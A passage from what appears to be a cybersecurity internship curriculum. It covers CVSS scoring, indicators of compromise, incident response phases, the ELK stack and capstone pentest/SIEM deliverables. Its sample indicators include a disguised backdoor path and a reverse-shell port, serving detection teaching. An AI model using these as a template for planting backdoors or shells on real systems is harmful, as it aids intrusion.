* 4.0-6.9: Medium
* 7.0-8.9: High
* 9.0-10.0: Critical

Factors:

* Attack Vector: How is vulnerability exploited? (Network, Adjacent, Local, Physical)
* Attack Complexity: How complex is exploitation? (Low, High)
* Privileges Required: Does attacker need privileges? (None, Low, High)
* User Interaction: Does user need to do something? (None, Required)
* Scope: Does vulnerability affect only target or other systems?
* Confidentiality Impact: Is data confidentiality affected? (None, Low, High)
* Integrity Impact: Can data be modified? (None, Low, High)
* Availability Impact: Can service be denied? (None, Low, High)

Example: CVE-2007-2447 (Samba RCE) = 10.0 (CRITICAL)

* Network accessible
* Low complexity
* No privileges required
* No user interaction needed
* High impact on all three (CIA)

**Indicators of Compromise (IoCs)**

Evidence of a security breach that helps identify compromised systems:

File Hashes:

* MD5, SHA1, SHA256 of malware
* Used to identify infected systems
* Shared in threat intelligence feeds

Network IoCs:

* IP addresses used by attackers
* Domains and URLs
* Email addresses
* Port numbers and protocols

Host-based IoCs:

* Registry keys (Windows)
* File paths and names
* Process names and command lines
* Scheduled tasks
* Network connections

Examples of IoCs:

* C2 Server IP: 203.0.113.45
* Malware Hash: 5d41402abc4b2a76b9719d911017c592
* Backdoor File: /usr/bin/.systemupdate
* Reverse Shell Port: 4444

**Incident Response Phases**

Incident response is an organized process to handle security incidents:

1. Preparation
   * Deploy SIEM and monitoring
   * Install security tools
   * Train incident response team
   * Document procedures
   * Establish communication channels
2. Detection & Analysis
   * Identify potential incident via alerts or reports
   * Verify incident is real (not false positive)
   * Determine scope: how many systems affected?
   * Identify affected data
   * Establish timeline
3. Containment
   * Short-term: Prevent further damage
     + Block attacker IP at firewall
     + Isolate compromised systems
     + Kill malicious processes
     + Disable compromised accounts
   * Long-term: Prevent re-infection
     + Close exploitation paths
     + Apply patches
     + Strengthen security controls
4. Eradication
   * Remove all traces of attack
     + Delete malware and backdoors
     + Remove unauthorized accounts
     + Close vulnerabilities exploited
     + Remove attacker's access methods
   * Verify complete removal
5. Recovery
   * Restore systems to clean state
     + Restore from clean backup
     + Or rebuild from scratch
   * Verify system integrity
   * Restore user data
   * Restore to production
6. Post-Incident (Lessons Learned)
   * Review incident and response
   * Document what happened
   * Identify root cause
   * Identify preventive measures
   * Update procedures and playbooks
   * Conduct training on lessons learned

**ELK Stack Components**

Elasticsearch:

* Distributed search and analytics engine
* Stores and indexes logs
* Enables full-text searching
* Real-time analytics
* Scalable to handle terabytes of data

Logstash:

* Data processing pipeline
* Ingests logs from multiple sources
* Parses unstructured logs into structured events
* Enriches logs with additional context
* Filters and transforms data

Kibana:

* Web-based visualization platform
* Creates dashboards and visualizations
* Queries and explores log data
* Sets up alerts and notifications
* Generates reports

Filebeat:

* Lightweight log shipping agent
* Collects logs from files
* Forwards to Logstash/Elasticsearch
* Reliable delivery with persistence
* Minimal resource usage

**Deliverables for Task 5**

1. Professional Penetration Testing Report (15-20 pages)
   * Executive Summary: High-level overview of findings
   * Methodology: Assessment approach and scope
   * Detailed Findings: Each vulnerability with CVSS score
   * Risk Matrix: Prioritized by risk
   * Screenshots: Evidence of findings
   * Mitigation Recommendations: For each finding
   * Timeline: When vulnerabilities were discovered
   * Appendices: Tools used, commands executed, references
2. SIEM Configuration Documentation
   * Architecture Diagram: ELK Stack components and data flow
   * Log Sources: Description of logs being collected
   * Logstash Configuration: Parsing and enrichment rules
   * Detection Rules: Rules created and thresholds
   * Dashboard Description: Purpose and content of dashboards
3. Incident Response Playbooks
   * Detection Procedures: How to identify incidents
   * Response Steps: Ordered containment procedures
   * Role Assignments: Who does what during incident
   * Communication Protocol: Who to notify and when
   * Recovery Procedures: How to restore systems
   * Escalation Paths: When to escalate incident
4. Final Presentation Video (12-15 minutes)
   * Introduction: Project objectives and scope
   * Findings Summary: Key vulnerabilities discovered
   * SIEM Demo: Show ELK Stack in action
   * Attack Simulation: Demonstrate attack execution
   * Detection Demo: Show SIEM detecting attack
   * Lessons Learned: Key takeaways and improvements
   * Recommendations: Future security improvements
5. GitHub Repository (if required)
   * Project README with overview
   * Complete documentation and reports
   * Scripts and configuration files
   * Screenshots and evidence files
   * Methodology notes and techniques

**Skills Demonstrated in Capstone**

* Complete penetration testing lifecycle
* Enterprise SIEM implementation
* Attack detection and log correlation
* Incident response procedures
* Professional security reporting
* Real-world threat modeling
* Risk assessment and prioritization
* Vulnerability management

**Success Criteria**

Successfully completed capstone project demonstrates:

* Identification of 8+ critical vulnerabilities
* Proof of system compromise
* Functional SIEM with real-time detection
* 95%+ detection accuracy of simulated attacks
* Professional documentation
* Clear communication of findings
* Practical mitigation recommendations
* Understanding of incident response procedures

**SUMMARY OF ALL TASKS**

The 5-task cybersecurity internship provides comprehensive coverage of cybersecurity fundamentals through advanced incident response:

Task 1: Establishes foundation in cybersecurity concepts and lab setup  
Task 2: Teaches network reconnaissance and vulnerability discovery  
Task 3: Covers web application security and exploitation  
Task 4: Demonstrates offensive techniques and defensive awareness  
Task 5: Integrates all skills in capstone project and incident response

Upon completion, interns are prepared for entry-level security roles including:

* Security Analyst
* Penetration Tester
* SOC Analyst
* Network Security Engineer
* Security Operations Center Technician

The practical, hands-on nature of the internship develops immediately applicable skills for professional cybersecurity work.